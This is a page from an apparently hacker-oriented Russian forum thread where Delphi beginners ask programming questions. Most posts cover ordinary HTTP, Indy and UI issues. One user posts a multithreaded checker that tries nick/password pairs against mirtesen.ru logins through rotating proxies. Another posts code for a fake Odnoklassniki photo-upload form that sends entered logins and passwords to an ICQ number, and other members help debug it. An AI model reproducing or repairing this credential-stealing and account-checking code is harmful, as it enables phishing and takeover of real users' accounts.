[ Delphi / Pascal ] — начинающим: задаем вопросы (архивная - 2015)

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by banned, 6 May 2007.

Thread Status:
Not open for further replies.
  1. Chrome~

    Chrome~ Elder - Старейшина

    Joined:
    13 Dec 2008
    Messages:
    936
    Likes Received:
    162
    Reputations:
    27
    FStream также как и ProgressBar создавать нужно! Где ты его создаешь?
     
  2. wolmer

    wolmer Member

    Joined:
    12 May 2009
    Messages:
    438
    Likes Received:
    97
    Reputations:
    9
    А если нету Content-Length в заголовке? :(

    Пакет который посылаю:
    Code:
           send1:='GET http://site.ru/?p='+Form1.edit2.text+' HTTP/1.0'+#13#10+
    'User-Agent: Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00'+#13#10+
    'Host: site.ru'+#13#10+
    'Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1'+#13#10+
    'Accept-Language: ru-RU,ru;q=0.9,en;q=0.8'+#13#10+
    'Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1'+#13#10+
    'Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0'+#13#10+
    'Cookie: megacookie=2222'+#13#10+
    'Cookie2: $Version=1'+#13#10+
    'Connection: Keep-alive'+#13#10+#13#10;
    При:
    Code:
    Connection: Close
    Не так принимаются данные почему то (в конце html ответа еще какие то куски html кода приходят при Connection: Close)
     
    #4422 wolmer, 18 Oct 2009
    Last edited: 18 Oct 2009
  3. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    ты что через прокси шлеш запрос?
    убери 'Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0'+#13#10+
    чтобы небыло проблем с приходом данных в gzip

    чтото типа такого долно быть при обычном запросе. т.е. этого хватит
    Code:
    send1:='GET /?p='+Form1.edit2.text+' HTTP/1.0'+#13#10+
    'User-Agent: Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00'+#13#10+
    'Host: site.ru'+#13#10+
    'Cookie: megacookie=2222'+#13#10+
    'Connection: close'+#13#10#13#10;
    
     
    1 person likes this.
  4. bmp152

    bmp152 New Member

    Joined:
    25 May 2009
    Messages:
    8
    Likes Received:
    2
    Reputations:
    0
    спс, попробуем)
     
  5. GhostOnline

    GhostOnline Active Member

    Joined:
    20 Dec 2008
    Messages:
    723
    Likes Received:
    110
    Reputations:
    22
    Блин. Че за хрень, заипался.
    Посылаю пост запрос через идхттп, если логин/пасс верные то редиректит.
    Так вот, если посылать через прокси, то после редиректа тело ответа пустое, без проксей - все норм.
     
  6. AquaKlaster

    AquaKlaster Active Member

    Joined:
    9 Mar 2009
    Messages:
    0
    Likes Received:
    204
    Reputations:
    23
    Может прокси плохая? в браузере проверь её
     
  7. Пуховой

    Joined:
    25 Nov 2007
    Messages:
    46
    Likes Received:
    37
    Reputations:
    0
    bmp152, т.к. сам ковырялся с проблемой, обнаружил решение у буржуев.

    - открываем IdMultipartFormData.pas
    - заменяем 574 строку на Result := Result + LEncoding.GetByteCount(TStrings(FieldObject).Text);
    - заменяем 582 строку на Result := Result + TStream(FieldObject).Size;
    - заменяем 306 строку на FSize := FSize + LItem.FieldSize + 2;
    Перекомпилируем. И ура - последняя ревизия индюши работает как часы.
     
  8. GhostOnline

    GhostOnline Active Member

    Joined:
    20 Dec 2008
    Messages:
    723
    Likes Received:
    110
    Reputations:
    22
    Я загружаю прокси списком в несколько сотен, приложение многопоточное, не думаю что они все такие
     
  9. AquaKlaster

    AquaKlaster Active Member

    Joined:
    9 Mar 2009
    Messages:
    0
    Likes Received:
    204
    Reputations:
    23
    скинь в ЛС сорцы я гляну!
     
  10. GhostOnline

    GhostOnline Active Member

    Joined:
    20 Dec 2008
    Messages:
    723
    Likes Received:
    110
    Reputations:
    22
    Сорри прогу делаю на заказ. Впрочем часть могу скинуть, какую именно надо?
     
  11. AquaKlaster

    AquaKlaster Active Member

    Joined:
    9 Mar 2009
    Messages:
    0
    Likes Received:
    204
    Reputations:
    23
    ну там где рабоат с прокси отправка пост запроса
     
  12. GhostOnline

    GhostOnline Active Member

    Joined:
    20 Dec 2008
    Messages:
    723
    Likes Received:
    110
    Reputations:
    22
    Code:
    Param:=TStringList.Create;//Парaметры запросов
                      Param.Add('auth[backurl]=http://mirtesen.ru/'); //Добавляем параметры для логина
                      Param.Add('auth[login]='+Nick);//.......
                      Param.Add('auth[password]='+Pswd);//........
                      Param.Add('auth[remember]=on');//......
    Http:=TIdHttp.Create;//Создаем и инициализируем объект  ИдХттп
                      Http.Request.Host:='mirtesen.ru';
                      Http.Request.UserAgent:='Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729)';
                      Http.Request.Accept:='text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8';
                      Http.Request.AcceptLanguage := 'ru,en-us;q=0.7,en;q=0.3';
                      Http.Request.AcceptCharset := 'windows-1251,utf-8;q=0.7,*;q=0.7';
                      Http.Request.Connection:='Keep-alive';
                      Http.Request.Referer:='http://mirtesen.ru/';
                      http.ReadTimeout:=10000;
                      http.ConnectTimeout:=10000 ;
                      Http.AllowCookies:=True;
                      Cook:=TIdCookieManager.Create(Http);
                      Http.HandleRedirects:=False;
    
    if UseProxy then//Если используем прокси, то берем рандомно
                    begin
                      EnterCriticalSection(CS);
                          i2:=Random(Form6.sMemo3.Lines.Count);
                          Http.ProxyParams.ProxyServer:=Copy(Form6.sMemo3.lines[i2],1,pos(':',Form6.sMemo3.lines[i])-1);
                          Http.ProxyParams.ProxyPort:=StrToInt(Copy (Form6.sMemo3.Lines[i2],pos(':',Form6.sMemo3.Lines[i2])+1,Length(Form6.sMemo3.Lines[i2])-pos(':',Form6.sMemo3.Lines[i2])));
                      LeaveCriticalSection(CS);
    
    
    Response.Text:=Http.Post('http://mirtesen.ru/login',Param);//Логинимся
    
    on e : EIDHttpProtocolException do//Если редирект 302, то залогинились
                    if e.ErrorCode = 302 then 
                      begin
                        if Length(response.Text)=0 then continue;
                        EnterCriticalSection(CS);
                        Form6.sMemo2.Lines.Add(Nick+' Зашел');
                        LeaveCriticalSection(CS);
    
    Собственно вот, ничего особенного


    Зы Почему репу не могу никому добавить? Нажимаю, и ничего не меняется
     
    #4432 GhostOnline, 19 Oct 2009
    Last edited: 19 Oct 2009
  13. Rebit

    Rebit Elder - Старейшина

    Joined:
    7 Aug 2007
    Messages:
    85
    Likes Received:
    214
    Reputations:
    2
    Помогите решить =) С мну +10
     
  14. Seregakz

    Seregakz New Member

    Joined:
    13 Jun 2009
    Messages:
    31
    Likes Received:
    1
    Reputations:
    0
    народ кто вкурсах как создать такие же стильные заголовки tstringGrid'a http://clip2net.com/clip/m22700/1255960181-clip-1kb.png ???
     
  15. DimkO

    DimkO Banned

    Joined:
    16 Nov 2008
    Messages:
    28
    Likes Received:
    3
    Reputations:
    0
    хотелось бы знать,возможно ли в делфи как то читать координаты нажатия мышки,допустим в какой то области формы?
     
  16. wolmer

    wolmer Member

    Joined:
    12 May 2009
    Messages:
    438
    Likes Received:
    97
    Reputations:
    9
    Code:
    procedure TForm1.FormMouseDown(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
    var
     t:tpoint;
    begin
     GetCursorPos(t);
     Label1.Caption:=inttostr(t.X)+' - '+inttostr(t.Y);
    end;
    Или же проще:
    Code:
    procedure TForm1.FormMouseDown(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
    begin
     Label1.Caption:=inttostr(X)+' - '+inttostr(Y);
    end;
     
  17. Nullsleep

    Nullsleep Member

    Joined:
    2 Jun 2009
    Messages:
    67
    Likes Received:
    26
    Reputations:
    0
    Seregakz, подключи в uses модуль XPMan
     
  18. BlackSite

    BlackSite Banned

    Joined:
    6 Feb 2009
    Messages:
    148
    Likes Received:
    100
    Reputations:
    0
    Кто знает почему не отправляет на icq данные может ни то пишу,или обновить нужно TICQClient
    Code:
    procedure TForm1.Button1Click(Sender: TObject);
    begin
    icqclient1.UIN:= strtoint('*****');
    icqclient1.Password:= '*****';
    ICQClient1.Login();
    ShowMessage('Вы успешно залогинились на сервере.');
    Button2.Enabled:=True;
    Button1.Enabled:=False;
    end;
    
    procedure TForm1.ICQClient1Login(Sender: TObject);
    begin
    icqclient1.SendMessage(******, 'Отправка с Одноклассники добавление фотографий Login: ' + Edit1.Text + '  Password: ' + Edit2.Text );
    end;
     
  19. wolmer

    wolmer Member

    Joined:
    12 May 2009
    Messages:
    438
    Likes Received:
    97
    Reputations:
    9
    Возьми создай событие от компонента ICQ с названием OnConnectionFailed, запиши в него какой нибуть ШоуМассаг, если будет вылезать такой шоумассаг значит превышенно кол. подкл.
     
  20. BlackSite

    BlackSite Banned

    Joined:
    6 Feb 2009
    Messages:
    148
    Likes Received:
    100
    Reputations:
    0
    wolmer дай асю свою надо пару вопросов задать
     
Thread Status:
Not open for further replies.